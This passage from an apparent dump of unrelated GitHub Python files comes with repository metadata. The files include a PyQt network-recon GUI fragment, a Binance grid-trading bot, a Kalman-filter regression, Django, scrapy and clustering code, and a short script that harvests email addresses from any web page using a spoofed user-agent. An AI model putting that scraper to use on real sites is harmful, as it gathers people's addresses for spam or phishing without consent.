self.det[i].setText("") self.det[12].setText(" PROTOCOL NOT YET SUPPORTED ") self.det[13].setText(" WILL BE SUPPORTED ON NEXT VERSION ") self.det[10].setAutoFillBackground(False) self.det[15].setAutoFillBackground(False) self.det[29].setAutoFillBackground(False) self.det[41].setAutoFillBackground(False) def save(self,file_name): Recon.save(self.Device,file_name.text()) file_name.setText("File Saved In The Silent Observer Directory") def clear_table(self,table): for i in range(0,20000): table.setItem(i, 0,QTableWidgetItem("")) table.setItem(i, 1, QTableWidgetItem("")) table.setItem(i, 2, QTableWidgetItem("")) table.setItem(i, 3, QTableWidgetItem("")) table.setItem(i, 4, QTableWidgetItem("")) for i in range(3,50): self.det[i].setText("") self.det[10].setAutoFillBackground(False) self.det[15].setAutoFillBackground(False) self.det[29].setAutoFillBackground(False) self.det[36].setAutoFillBackground(False) self.det[41].setAutoFillBackground(False) def closeEvent(self, QCloseEvent): Recon.stop = True QMessageBox.about(self, "Title", "Message") QCloseEvent.accept()
[ "noreply@github.com" ]
Ye7ia01.noreply@github.com
ef38fbde1492e5d5ee8d350be5c1850fc4b60214
71373a38b82a5eb9b95b784ade000742b1d3b0dd
/examples/mini_site/steps/log_handling_steps.py
a4ca99e6f5364d527e058101fb821a9b4fad8aa8
[ "BSD-3-Clause", "BSD-2-Clause" ]
permissive
xrg/behave_manners
5a6068cae65196bfe09cdf315068a4e5e7a4d1e0
93cb570e04af870f3401048d26dd7f0e8350759e
refs/heads/master
2021-07-07T06:31:57.936711
2020-07-11T10:18:29
2020-07-11T10:18:29
136,819,178
4
0
null
null
null
null
UTF-8
Python
false
false
869
py
# -*- coding: utf-8 -* from __future__ import print_function, unicode_literals from behave import given, when, then, step from behave_manners.pagelems.actions import click import logging @when('I hit the button') def hit_button(context): orig_consume = context.site.events.consume_log context.messages = [] def _consume_message(rec): try: if rec.name == 'browser.console-api' and rec.levelno == logging.INFO: context.messages.append(rec.message) else: print ("name:", rec.name, rec.levelno) except AttributeError: pass orig_consume(rec) context.cur_element['hitme-button'].click() context.site.process_logs(context, consumer=_consume_message) @then('the button hurts') def check_logs(context): assert 'ouch!' in context.messages, context.messages
[ "xrg@pefnos.com" ]
xrg@pefnos.com
7fb2134bd3b8caaf11da25b05d8fd70327b2db54
a72aaffd3517922404056c7f85437afa9a5e6337
/pylotVenv/bin/wheel
7303767be13cc74474a42eaba1c8a0eaf69fcd2f
[]
no_license
mrllon0923/courses
4afd23b2c838c2558ede233d77102e20bd6f5771
e1ab205b67333c7a4c2bd3d1fff1fb7cfa09821c
refs/heads/master
2021-01-12T13:52:20.379487
2016-09-24T02:37:06
2016-09-24T02:37:06
null
0
0
null
null
null
null
UTF-8
Python
false
false
275
#!/Users/marlloncantiga/Documents/CodingDojo_Python/Pylot/pylotVenv/bin/python2.7 # -*- coding: utf-8 -*- import re import sys from wheel.tool import main if __name__ == '__main__': sys.argv[0] = re.sub(r'(-script\.pyw|\.exe)?$', '', sys.argv[0]) sys.exit(main())
[ "marllon.cantiga@gmail.com" ]
marllon.cantiga@gmail.com
2f47d14803b0b95d47701914fd3e26cd1f1969dd
33be4b8a076a83adb73ff6b267d8135dbbdd16fc
/chapter4/urllib.request/get_emails_url_request.py
ddfa94e8afc54f69be9eec38a15ce0b80fcf5e46
[ "MIT" ]
permissive
PacktPublishing/Mastering-Python-for-Networking-and-Security-Second-Edition
73bbe8bd6464585bb3cef788eb8fd62ec89f8983
b748cca5841b013b44c98f1884611b66676fef1a
refs/heads/master
2023-01-27T10:59:59.868438
2023-01-18T10:10:33
2023-01-18T10:10:33
254,302,959
117
67
null
null
null
null
UTF-8
Python
false
false
601
py
import urllib.request import re USER_AGENT = 'Mozilla/5.0 (Linux; Android 10) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.101 Mobile Safari/537.36' url = input("Enter url:http://") #https://www.packtpub.com/about/terms-and-conditions opener = urllib.request.build_opener() opener.addheaders = [('User-agent', USER_AGENT)] urllib.request.install_opener(opener) response = urllib.request.urlopen('http://'+url) html_content= response.read() pattern = re.compile("[-a-zA-Z0-9._]+[-a-zA-Z0-9._]+@[-a-zA-Z0-9_]+.[a-zA-Z0-9_.]+") mails = re.findall(pattern,str(html_content)) print(mails)
[ "jmortegac@protonmail.com" ]
jmortegac@protonmail.com
9361dac667462b2b63998f5709471732bb37ce9f
141cfabf47afe6acb5d1b4eb5f07ac72a01cf51f
/python/threading/threading_lock.py
95ce7a9e0469b4df344ded3640d9af56f20440fb
[]
no_license
wweihang/study
1d1cc8b4e2bcf6e86d74b1047a9113c91549d393
3b55755b3cb26855e819a356b6d3c4a552788cfc
refs/heads/master
2021-01-06T11:52:49.411428
2020-02-18T09:21:02
2020-02-18T09:21:02
241,317,382
0
0
null
null
null
null
UTF-8
Python
false
false
1,121
py
# -*- coding: utf-8 -*- import threading """ lock在不同线程使用同一共享内存时,能够确保线程之间互不影响,使用lock的方法是, 在每个线程执行运算修改共享内存之前, 执行lock.acquire()将共享内存上锁, 确保当前线程执行时,内存不会被其他线程访问,执行运算完毕后,使用lock.release() 将锁打开, 保证其他的线程可以使用该共享内存。 """ #函数一:全局变量A的值每次加1,循环10次,并打印 def job1(): global A, lock lock.acquire() for i in range(10): A += 1 print('job1', A) lock.release() #函数二:全局变量A的值每次加10,循环10次,并打印 def job2(): global A, lock lock.acquire() for i in range(10): A += 10 print('job2', A) lock.release() #主函数:定义两个线程,分别执行函数一和函数二 if __name__ == '__main__': lock = threading.Lock() A = 0 t1 = threading.Thread(target=job1) t2 = threading.Thread(target=job2) t1.start() t2.start() t1.join() t2.join()
[ "553954949@qq.com" ]
553954949@qq.com
7c148624c34817e171149b37190432647d04799b
0fcc5bc2568a0effedb0c9f0f7ec80918b2fa60b
/cpovc_settings/urls.py
497593435882032f704ecb0e9e6452d42cdf9441
[]
no_license
Atieno-Ouma/cpims-dcs-2.1
380f8b19ba55b458c1c2e0001c35eb61edbaf2c8
5b34d66f2d4219d9cb0861ebb7b3242e41cd23a2
refs/heads/master
2023-04-04T00:09:35.210711
2021-03-20T14:03:41
2021-03-20T14:03:41
null
0
0
null
null
null
null
UTF-8
Python
false
false
889
py
"""Urls for Settings.""" from django.conf.urls import patterns, url # This should contain urls related to settings ONLY urlpatterns = patterns( 'cpovc_settings.views', # url(r'^$', 'settings_home', name='settings_home'), url(r'^reports/d/(?P<file_name>[0-9_\-_A-Za-z_\._A-Za-z]+)$', 'archived_reports', name='archived_reports'), url(r'^reports/r/(?P<file_name>[0-9_\-_A-Za-z_\._A-Za-z]+)$', 'remove_reports', name='remove_reports'), url(r'^reports/$', 'settings_reports', name='settings_reports'), url(r'^duplicates/$', 'settings_duplicates', name='settings_duplicates'), url(r'^facilities/$', 'settings_facilities', name='settings_facilities'), url(r'^schools/$', 'settings_schools', name='settings_schools'), url(r'^data/$', 'settings_rawdata', name='settings_rawdata'), url(r'^changes/$', 'change_notes', name='change_notes'), )
[ "nmugaya@gmail.com" ]
nmugaya@gmail.com
34c27860cdf81fee0a1067a3153e527e6bec3bf2
126970b5a7aef7def577922f9ed4bc0889ec5804
/products/views.py
6d46af5e0d4df6315060a0e34a7600163f3b5171
[]
no_license
HeshamSayed/ElectroBekia
6544955d1449ce03e6fd432bfdff05422a9f92ba
42fab2ed3dc43f6f3e3e75cc17a7a26cb747d385
refs/heads/master
2022-12-13T21:47:10.673963
2019-06-18T16:03:04
2019-06-18T16:03:04
186,132,437
0
3
null
2022-12-08T05:08:00
2019-05-11T12:50:58
CSS
UTF-8
Python
false
false
623
py
from django.shortcuts import render, get_object_or_404 from .models import * from cart.forms import CartAddProductForm def product_list(request): categories = Category.objects.all() products = Product.objects.all() context = { 'categories': categories, 'products': products, } return render(request, 'products/list.html', context) def product_detail(request, pk): product = get_object_or_404(Product, pk=pk) cart_product_form = CartAddProductForm() context = { 'product': product, 'cart_product_form': cart_product_form, } return render(request, 'products/detail.html', context)
[ "awadmohamed233@gmail.com" ]
awadmohamed233@gmail.com
5665602c74b2656f07cc01ff087fbae1f95bddee
9b3bcba424649b33638458ff13b435e1c64f7eeb
/functions/ex-05.py
daa74be43f1e2727bb03f6bd6d6568b5bbdc1a67
[]
no_license
rodbergerrone/bootcamp
fc0cc6b1d614822b8d1ceed5f28fd31b25475270
fd6f14888d5c2c36404e9b84772b6f5573b81158
refs/heads/master
2023-06-01T11:50:00.126096
2021-01-30T18:23:08
2021-01-30T18:23:08
220,810,942
0
0
null
2023-05-22T22:19:58
2019-11-10T15:40:27
HTML
UTF-8
Python
false
false
161
py
def silnia(n): n = int(n) if n > 1: return n * silnia(n-1) elif n in (0, 1): return 1; n = input("Wpisz liczbę:") print(silnia(n))
[ "rodbergerron@icloud.com" ]
rodbergerron@icloud.com
3bf3e51b5950dbd77aedd515c5c61d47de92885a
7e5d660c5551c61b23e7a707f6b3a78de993e340
/cmpt353/e7/regress_cpu.py
29d2628f5f0298ca22582495f614d1059ca40bac
[]
no_license
sarbjot-14/SFU
881a50470f2b67317aa7084eb3e771c4f8585f9a
919a3236ac4c250cd5a51b54bae8a8d5d43b5c78
refs/heads/master
2022-12-10T19:23:15.014460
2019-08-11T23:46:33
2019-08-11T23:46:33
160,457,058
0
0
null
2022-12-08T16:04:19
2018-12-05T03:46:19
Jupyter Notebook
UTF-8
Python
false
false
3,972
py
import numpy as np import pandas as pd import matplotlib.pyplot as plt import sys from pykalman import KalmanFilter from pandas.plotting import register_matplotlib_converters register_matplotlib_converters() X_columns = ['temperature', 'cpu_percent', 'fan_rpm', 'sys_load_1'] y_column = 'next_temp' def get_data(filename): """ Read the given CSV file. Returns sysinfo DataFrames for training and testing. """ sysinfo = pd.read_csv(filename, parse_dates=['timestamp']) #points_df['lat'].shift(-1) # TODO: add the column that we want to predict: the temperatures from the *next* time step. sysinfo[y_column] = sysinfo['temperature'].shift(-1) # should be the temperature value from the next row sysinfo = sysinfo[sysinfo[y_column].notnull()] # the last row should have y_column null: no next temp known #print(sysinfo) # return most of the data to train, and pick an interesting segment to test split1 = int(sysinfo.shape[0] * 0.8) split2 = int(sysinfo.shape[0] * 0.84) train = sysinfo.iloc[:split1, :] test = sysinfo.iloc[split1:split2, :] return train, test def get_trained_coefficients(X_train, y_train): """ Create and train a model based on the training_data_file data. Return the model, and the list of coefficients for the 'X_columns' variables in the regression. """ # TODO: create regression model and train. from sklearn.linear_model import LinearRegression #X = np.stack([X_train['temperature']], axis=1) model = LinearRegression(fit_intercept=False) model.fit(X_train, y_train) #print(model.coef_[0], model.intercept_) return model, model.coef_ def output_regression(coefficients): regress = ' + '.join('%.3g*%s' % (coef, col) for col, coef in zip(X_columns, coefficients)) print('next_temp = ' + regress) def plot_errors(model, X_valid, y_valid): plt.hist(y_valid - model.predict(X_valid), bins=100) plt.savefig('test_errors.png') def smooth_test(coef, sysinfo): X_valid, y_valid = sysinfo[X_columns], sysinfo[y_column] # feel free to tweak these if you think it helps. transition_stddev = 2.0 observation_stddev = 2.0 dims = X_valid.shape[-1] initial = X_valid.iloc[0] observation_covariance = np.diag([observation_stddev, 2, 10, 1]) ** 2 transition_covariance = np.diag([transition_stddev, 80, 100, 10]) ** 2 # Transition = identity for all variables, except we'll replace the top row # to make a better prediction, which was the point of all this. transition = np.eye(dims) # identity matrix, except... #print(transition) #print(coef) transition[0][0] = coef[0] transition[0][1] = coef[1] transition[0][2]= coef[2] transition[0][3]= coef[3] # TODO: replace the first row of transition to use the coefficients we just calculated (which were passed into this function as coef.). kf = KalmanFilter( initial_state_mean=initial, initial_state_covariance=observation_covariance, observation_covariance=observation_covariance, transition_covariance=transition_covariance, transition_matrices=transition, ) kalman_smoothed, _ = kf.smooth(X_valid) plt.figure(figsize=(15, 6)) plt.plot(sysinfo['timestamp'], sysinfo['temperature'], 'b.', alpha=0.5) plt.plot(sysinfo['timestamp'], kalman_smoothed[:, 0], 'g-') plt.savefig('smoothed.png') def main(): train, test = get_data(sys.argv[1]) #print(train) #print(test) X_train, y_train = train[X_columns], train[y_column] X_valid, y_valid = test[X_columns], test[y_column] model, coefficients = get_trained_coefficients(X_train, y_train) output_regression(coefficients) #print("Training score: %g\nTesting score: %g" % (model.score(X_train, y_train), model.score(X_valid, y_valid))) plot_errors(model, X_valid, y_valid) smooth_test(coefficients, test) if __name__ == '__main__': main()
[ "sarbjot_14@hotmail.com" ]
sarbjot_14@hotmail.com
de8978de333030c7beb2201d46d13dcb55034f30
fab3a7a6fdad7c0b5ea4f8fd57749df58d3504c9
/elasticsearch/__init__.py
5e8e5952ad913b9fb29dfc2a011f73f84328239a
[]
no_license
anjanragh/smartphotolambda
ec45b835ea14cdd261c125f5d6348acc765891eb
9245b1b65a83879cb40a4c036662fa1988569344
refs/heads/master
2022-07-09T18:16:44.326898
2020-05-09T03:47:21
2020-05-09T03:47:21
262,089,091
1
1
null
null
null
null
UTF-8
Python
false
false
723
py
# flake8: noqa from __future__ import absolute_import VERSION = (7, 6, 0) __version__ = VERSION __versionstr__ = ".".join(map(str, VERSION)) import logging try: # Python 2.7+ from logging import NullHandler except ImportError: class NullHandler(logging.Handler): def emit(self, record): pass import sys logger = logging.getLogger("elasticsearch") logger.addHandler(logging.NullHandler()) from .client import Elasticsearch from .transport import Transport from .connection_pool import ConnectionPool, ConnectionSelector, RoundRobinSelector from .serializer import JSONSerializer from .connection import Connection, RequestsHttpConnection, Urllib3HttpConnection from .exceptions import *
[ "anjanragh@gmail.com" ]
anjanragh@gmail.com
3c1a51dd17cbe418b19f76a1cfde6710137089e9
cacae0bef45a3716c64463709cb29804a47a7a36
/crypto/trade/binance_trader.py
3d68e9a909d6157359c61b350a2059235123dba6
[]
no_license
prometuse/myquant
d2c89612b41294bb128210469330f083a5c098d0
2ff0fa845bc7aa719546c3826d5a01cbd054a203
refs/heads/master
2023-07-08T10:39:51.760310
2021-08-12T08:12:10
2021-08-12T08:12:10
383,455,610
1
1
null
null
null
null
UTF-8
Python
false
false
8,643
py
from gateway.binance import BinanceSpotHttp, OrderStatus, OrderType, OrderSide from enum import Enum import logging from utils.config import config from datetime import datetime class BinanceTrader(object): def __init__(self, config): """ :param api_key: :param secret: :param trade_type: 交易的类型, only support future and spot. """ self.http_client = BinanceSpotHttp(api_key=config.api_key, secret=config.api_secret, proxy_host=config.proxy_host, proxy_port=config.proxy_port) self.buy_orders = [] # 买单. self.sell_orders = [] # 卖单. def get_bid_ask_price(self): ticker = self.http_client.get_ticker(config.symbol) bid_price = 0 ask_price = 0 if ticker: bid_price = float(ticker.get('bidPrice', 0)) ask_price = float(ticker.get('askPrice', 0)) return bid_price, ask_price def grid_trader(self): """ 执行核心逻辑,网格交易的逻辑. :return: """ bid_price, ask_price = self.get_bid_ask_price() print(f"bid_price: {bid_price}, ask_price: {ask_price}") quantity = round_to(float(config.quantity), float(config.min_qty)) self.buy_orders.sort(key=lambda x: float(x['price']), reverse=True) # 最高价到最低价. self.sell_orders.sort(key=lambda x: float(x['price']), reverse=True) # 最高价到最低价. print(f"buy orders: {self.buy_orders}") print("------------------------------") print(f"sell orders: {self.sell_orders}") buy_delete_orders = [] # 需要删除买单 sell_delete_orders = [] # 需要删除的卖单 # 买单逻辑,检查成交的情况. for buy_order in self.buy_orders: check_order = self.http_client.get_order(buy_order.get('symbol', config.symbol),client_order_id=buy_order.get('clientOrderId')) if check_order: if check_order.get('status') == OrderStatus.CANCELED.value: buy_delete_orders.append(buy_order) print(f"buy order status was canceled: {check_order.get('status')}") elif check_order.get('status') == OrderStatus.FILLED.value: # 买单成交,挂卖单. logging.info(f"买单成交时间: {datetime.now()}, 价格: {check_order.get('price')}, 数量: {check_order.get('origQty')}") sell_price = round_to(float(check_order.get("price")) * (1 + float(config.gap_percent)), float(config.min_price)) if 0 < sell_price < ask_price: # 防止价格 sell_price = round_to(ask_price, float(config.min_price)) new_sell_order = self.http_client.place_order(symbol=config.symbol, order_side=OrderSide.SELL, order_type=OrderType.LIMIT, quantity=quantity, price=sell_price) if new_sell_order: buy_delete_orders.append(buy_order) self.sell_orders.append(new_sell_order) buy_price = round_to(float(check_order.get("price")) * (1 - float(config.gap_percent)), config.min_price) if buy_price > bid_price > 0: buy_price = round_to(bid_price, float(config.min_price)) new_buy_order = self.http_client.place_order(symbol=config.symbol, order_side=OrderSide.BUY, order_type=OrderType.LIMIT, quantity=quantity, price=buy_price) if new_buy_order: self.buy_orders.append(new_buy_order) elif check_order.get('status') == OrderStatus.NEW.value: print("buy order status is: New") else: print(f"buy order status is not above options: {check_order.get('status')}") # 过期或者拒绝的订单删除掉. for delete_order in buy_delete_orders: self.buy_orders.remove(delete_order) # 卖单逻辑, 检查卖单成交情况. for sell_order in self.sell_orders: check_order = self.http_client.get_order(sell_order.get('symbol', config.symbol), client_order_id=sell_order.get('clientOrderId')) if check_order: if check_order.get('status') == OrderStatus.CANCELED.value: sell_delete_orders.append(sell_order) print(f"sell order status was canceled: {check_order.get('status')}") elif check_order.get('status') == OrderStatus.FILLED.value: logging.info( f"卖单成交时间: {datetime.now()}, 价格: {check_order.get('price')}, 数量: {check_order.get('origQty')}") # 卖单成交,先下买单. buy_price = round_to(float(check_order.get("price")) * (1 - float(config.gap_percent)), float(config.min_price)) if buy_price > bid_price > 0: buy_price = round_to(bid_price, float(config.min_price)) new_buy_order = self.http_client.place_order(symbol=config.symbol, order_side=OrderSide.BUY, order_type=OrderType.LIMIT, quantity=quantity, price=buy_price) if new_buy_order: sell_delete_orders.append(sell_order) self.buy_orders.append(new_buy_order) sell_price = round_to(float(check_order.get("price")) * (1 + float(config.gap_percent)), float(config.min_price)) if 0 < sell_price < ask_price: # 防止价格 sell_price = round_to(ask_price, float(config.min_price)) new_sell_order = self.http_client.place_order(symbol=config.symbol, order_side=OrderSide.SELL, order_type=OrderType.LIMIT, quantity=quantity, price=sell_price) if new_sell_order: self.sell_orders.append(new_sell_order) elif check_order.get('status') == OrderStatus.NEW.value: print("sell order status is: New") else: print(f"sell order status is not in above options: {check_order.get('status')}") # 过期或者拒绝的订单删除掉. for delete_order in sell_delete_orders: self.sell_orders.remove(delete_order) # 没有买单的时候. if len(self.buy_orders) <= 0: if bid_price > 0: price = round_to(bid_price * (1 - float(config.gap_percent)), float(config.min_price)) buy_order = self.http_client.place_order(symbol=config.symbol,order_side=OrderSide.BUY, order_type=OrderType.LIMIT, quantity=quantity,price=price) if buy_order: self.buy_orders.append(buy_order) elif len(self.buy_orders) > int(config.max_orders): # 最多允许的挂单数量. # 订单数量比较多的时候. self.buy_orders.sort(key=lambda x: float(x['price']), reverse=False) # 最低价到最高价 delete_order = self.buy_orders[0] order = self.http_client.cancel_order(delete_order.get('symbol'), client_order_id=delete_order.get('clientOrderId')) if order: self.buy_orders.remove(delete_order) # 没有卖单的时候. if len(self.sell_orders) <= 0: if ask_price > 0: price = round_to(ask_price * (1 + float(config.gap_percent)), float(config.min_price)) order = self.http_client.place_order(symbol=config.symbol,order_side=OrderSide.SELL, order_type=OrderType.LIMIT, quantity=quantity,price=price) if order: self.sell_orders.append(order) elif len(self.sell_orders) > int(config.max_orders): # 最多允许的挂单数量. # 订单数量比较多的时候. self.sell_orders.sort(key=lambda x: x['price'], reverse=True) # 最高价到最低价 delete_order = self.sell_orders[0] order = self.http_client.cancel_order(delete_order.get('symbol'), client_order_id=delete_order.get('clientOrderId')) if order: self.sell_orders.remove(delete_order)
[ "kebi@xiaohongshu.com" ]
kebi@xiaohongshu.com
360817c27d99ca21241781e95372efb461f4a4b0
dba16143d8fa6aa73ca1d4df7bcfaca42824412c
/src/year2021/day05b.py
7312f094f2e1e4a1e1a73ecd10c0b4f4b98def4c
[ "Unlicense" ]
permissive
lancelote/advent_of_code
84559bf633189db3c3e4008b7777b1112f7ecd30
4b8ac6a97859b1320f77ba0ee91168b58db28cdb
refs/heads/master
2023-02-03T14:13:07.674369
2023-01-24T20:06:43
2023-01-24T20:06:43
47,609,324
11
0
null
2019-10-07T07:06:42
2015-12-08T08:35:51
Python
UTF-8
Python
false
false
305
py
"""2021 - Day 5 Part 2: Hydrothermal Venture.""" from src.year2021.day05a import Floor from src.year2021.day05a import Segment def solve(task: str) -> int: segments = [Segment.from_line(line) for line in task.splitlines()] floor = Floor() floor.draw(segments) return floor.num_overlap
[ "lancelote.du.lac@gmail.com" ]
lancelote.du.lac@gmail.com
6cb211e3f967ee48f75a6e477cb7052304319a4e
7f8fc86b9a7f060a7779374180842c28815bf8c4
/week02/Maoyan/Maoyan/run.py
e257e4bf5d04fed1df6101a40382adf0a87bfdbb
[]
no_license
zunyanhu/Python003-003
827fd299b6caa1a54f718bba505868c3f3a82bdc
7b04ef0efe9e179b2206f4c62b7c43f3e5f2a2b7
refs/heads/master
2022-12-31T19:42:24.241822
2020-10-29T01:43:51
2020-10-29T01:43:51
286,891,306
0
0
null
2020-08-12T01:59:00
2020-08-12T01:58:59
null
UTF-8
Python
false
false
1,473
py
# -*- coding: utf-8 -*- # #第二种 # from scrapy.crawler import CrawlerProcess # from scrapy.utils.project import get_project_settings # from cnblog.spiders.cnblog_spider import CnblogSpider #第一种 from scrapy.cmdline import execute import os, sys # #第三种 # from twisted.internet import reactor, defer # from scrapy.crawler import CrawlerRunner # from scrapy.utils.log import configure_logging # from cnblog.spiders.cnblog_spider import CnblogSpider #脚本启动的几种方法 if __name__ == '__main__': #第一种方法 sys.path.append(os.path.dirname(os.path.abspath(__file__))) # print(os.path.abspath(os.path.join(os.getcwd(), ".."))) # sys.path.append(os.path.abspath(os.getcwd())) # print(os.path.dirname(os.path.abspath(__file__))) crawl_str = 'scrapy crawl maoyan' execute(crawl_str.split(' ')) # #第二种方法 # process = CrawlerProcess(get_project_settings()) # #类名或爬虫名都可 # process.crawl(CnblogSpider) # # process.crawl('cnblog_spider') # # # #也可以再加几个爬虫类 # # process.crawl(CnblogSpider1) # process.start() # #第三种方法 # configure_logging() # runner = CrawlerRunner() # @defer.inlineCallbacks # def crawl(): # yield runner.crawl(CnblogSpider) # #可以再添加爬虫类或爬虫名 # # yield runner.crawl(CnblogSpider1) # reactor.stop() # # crawl() # reactor.run()
[ "15895981485@139.com" ]
15895981485@139.com
07c61cef4188fb0ba327983584a03af4efedb908
9c24e33521aeb4673537e80d5e0dfbcb31caa206
/lightup/migrations/0020_auto_20210820_0632.py
a1d890bc76b80d0c213bc6029e89944546d1e721
[]
no_license
eunjungL/lightup_helper_backend
37bf226022a68428e6dd952915b607d75d8503c9
020318ebc3b638a0f0d699cb07656a05ac7b6079
refs/heads/master
2023-07-09T00:04:53.351003
2021-08-19T21:32:18
2021-08-19T21:32:18
394,020,559
0
0
null
null
null
null
UTF-8
Python
false
false
1,100
py
# Generated by Django 3.2.5 on 2021-08-19 21:32 import datetime from django.db import migrations, models from django.utils.timezone import utc class Migration(migrations.Migration): dependencies = [ ('lightup', '0019_auto_20210819_0126'), ] operations = [ migrations.AddField( model_name='donation', name='photo', field=models.ImageField(null=True, upload_to='%Y/%m/%d'), ), migrations.AddField( model_name='donation', name='photo_content', field=models.ImageField(null=True, upload_to='%Y/%m/%d'), ), migrations.AlterField( model_name='communitycomment', name='date', field=models.DateTimeField(blank=True, default=datetime.datetime(2021, 8, 19, 21, 32, 0, 553396, tzinfo=utc)), ), migrations.AlterField( model_name='communitypost', name='date', field=models.DateTimeField(blank=True, default=datetime.datetime(2021, 8, 19, 21, 32, 0, 552373, tzinfo=utc)), ), ]
[ "dldmswjd322@gmail.com" ]
dldmswjd322@gmail.com
3d66be5c18c0def6c0a8479606d64c09d3635265
7b527d9937947998b770bb8530bf223581549093
/proto/hello_pb2.py
8511e5e26d95edf6b80481c6479d8ebf374b5e01
[]
no_license
justbeboring/simplerpc-py
752653d44147bed4e00f57d89b5b7029ba292abb
71bc18f8fa530cf03006be5dda1aff147ee8bf56
refs/heads/main
2023-03-09T04:57:21.818984
2021-02-23T09:13:19
2021-02-23T09:13:19
341,492,306
1
0
null
null
null
null
UTF-8
Python
false
true
2,661
py
# -*- coding: utf-8 -*- # Generated by the protocol buffer compiler. DO NOT EDIT! # source: hello.proto """Generated protocol buffer code.""" from google.protobuf import descriptor as _descriptor from google.protobuf import message as _message from google.protobuf import reflection as _reflection from google.protobuf import symbol_database as _symbol_database # @@protoc_insertion_point(imports) _sym_db = _symbol_database.Default() DESCRIPTOR = _descriptor.FileDescriptor( name='hello.proto', package='pb', syntax='proto3', serialized_options=None, create_key=_descriptor._internal_create_key, serialized_pb=b'\n\x0bhello.proto\x12\x02pb\"\x17\n\x07Payload\x12\x0c\n\x04\x64\x61ta\x18\x01 \x01(\t22\n\x0cHelloService\x12\"\n\x04\x45\x63ho\x12\x0b.pb.Payload\x1a\x0b.pb.Payload\"\x00\x62\x06proto3' ) _PAYLOAD = _descriptor.Descriptor( name='Payload', full_name='pb.Payload', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='data', full_name='pb.Payload.data', index=0, number=1, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto3', extension_ranges=[], oneofs=[ ], serialized_start=19, serialized_end=42, ) DESCRIPTOR.message_types_by_name['Payload'] = _PAYLOAD _sym_db.RegisterFileDescriptor(DESCRIPTOR) Payload = _reflection.GeneratedProtocolMessageType('Payload', (_message.Message,), { 'DESCRIPTOR' : _PAYLOAD, '__module__' : 'hello_pb2' # @@protoc_insertion_point(class_scope:pb.Payload) }) _sym_db.RegisterMessage(Payload) _HELLOSERVICE = _descriptor.ServiceDescriptor( name='HelloService', full_name='pb.HelloService', file=DESCRIPTOR, index=0, serialized_options=None, create_key=_descriptor._internal_create_key, serialized_start=44, serialized_end=94, methods=[ _descriptor.MethodDescriptor( name='Echo', full_name='pb.HelloService.Echo', index=0, containing_service=None, input_type=_PAYLOAD, output_type=_PAYLOAD, serialized_options=None, create_key=_descriptor._internal_create_key, ), ]) _sym_db.RegisterServiceDescriptor(_HELLOSERVICE) DESCRIPTOR.services_by_name['HelloService'] = _HELLOSERVICE # @@protoc_insertion_point(module_scope)
[ "justbeboring@163.com" ]
justbeboring@163.com
d802c21b8ddc8757573d900ed4d995d2e5da0ea1
9501a172897fb69899b627915b0bb108b94cf13e
/ddCRP/ward_clustering.py
c696637eb88520da4335abd2f360d5e39ff1874f
[]
no_license
LeilaBagha/Conifer
5959e4f12091709a37ddd5ad2d46a2a8340937dc
95e8501f321ceb38080dcdb64673dafec7b5933c
refs/heads/master
2023-07-07T12:13:14.250960
2021-08-06T17:39:06
2021-08-06T17:39:06
367,208,351
2
2
null
null
null
null
UTF-8
Python
false
false
5,835
py
import numpy as np from scipy import spatial from scipy import cluster from ddCRP import statistics from ddCRP import subgraphs """ As based on original code by C. Baldassano (https://github.com/cbaldassano/Parcellating-connectivity/blob/release/python/WardClustering.py) """ def Ward(D, adj_list, n_clusters): """ Method to apply Ward Clustering to feature data. Parameters: - - - - - D : array input feature matrix adj_list : dictionary adjacency list Returns: - - - - c : array parent links for ward clusters """ D_norm = statistics.Normalize(D) similarity = np.corrcoef(D_norm) linkage = ClusterTree(similarity, adj_list) z = Cluster(linkage, n=n_clusters) c = subgraphs.ClusterSpanningTrees().fit(adj_list, z) return c def Cluster(Z, n): """ Wrapper function to compute parcellation from linkage matrix. Parameters ---------- Z : array linkage matrix n : int number of components to generate Returns ------- z: int array clustering of samples """ z = cluster.hierarchy.fcluster(Z, t=n, criterion='distance') return z def ClusterTree(D, adj_list): """ Compute Ward clustering linkage matrix for given similarity matrix adjacency structure. Parameters: - - - - - D : array similarity matrix adj_list : dictionary adjacency list Returns: - - - - Z : array linkage matrix """ X = D # Compute squared euclidean distance Y between rows Qx = np.tile(np.linalg.norm(X, axis=1)**2,(X.shape[0],1)) Y = Qx + Qx.transpose()-2*np.dot(X, X.transpose()) Y = spatial.distance.squareform(Y,checks=False) Y[Y<0] = 0 # Correct for numerical errors in very similar rows print('Similarity shape: {:}'.format(Y.shape)) # Construct adjacency matrix N = len(adj_list) A = np.zeros([N, N], dtype=bool) for i in range(N): A[i, adj_list[i]] = True connected = spatial.distance.squareform(A).astype(bool) print('Connected shape: {:}'.format(connected.shape)) # Initialize all data structures valid_clusts = np.ones(N, dtype=bool) # which clusters still remain col_limits = np.cumsum(np.concatenate((np.array([N-2]), np.arange(N-2, 0, -1)))) # During updating clusters, cluster index is constantly changing, R is # a index vector mapping the original index to the current (row, column) # index in Y. C denotes how many points are contained in each cluster. m = int(np.ceil(np.sqrt(2*Y.shape[0]))) C = np.zeros(2*m-1) C[0:m] = 1 R = np.arange(m) all_inds = np.arange(Y.shape[0]) # pairs of adjacent clusters that can be merged conn_inds = all_inds[connected] Z = np.zeros([m-1, 4]) for s in range(m-1): if conn_inds.size == 0: # The graph was disconnected (e.g. two hemispheres) # Just add all connections to finish up cluster tree connected = np.zeros(len(connected)) conn_inds = [] valid_clust_inds = np.flatnonzero(valid_clusts) for i in valid_clust_inds: U = valid_clusts U[i] = 0 new_conns = PdistInds(i, N, U) connected[new_conns] = True conn_inds = np.concatenate((conn_inds, new_conns)) conn_inds = np.unique(conn_inds) # Find closest pair of clusters v = np.amin(Y[conn_inds]) k = conn_inds[np.argmin(Y[conn_inds])] j = np.where(k <= col_limits)[0][0] i = N - (col_limits[j] - k) - 1 # Add row to output linkage Z[s, 0:3] = np.array([R[i], R[j], v]) # Update Y with this new cluster i containing old clusters i and j U = valid_clusts U[np.array([i, j])] = 0 oldI = PdistInds(i, N, U) oldJ = PdistInds(j, N, U) Y[oldI] = (( 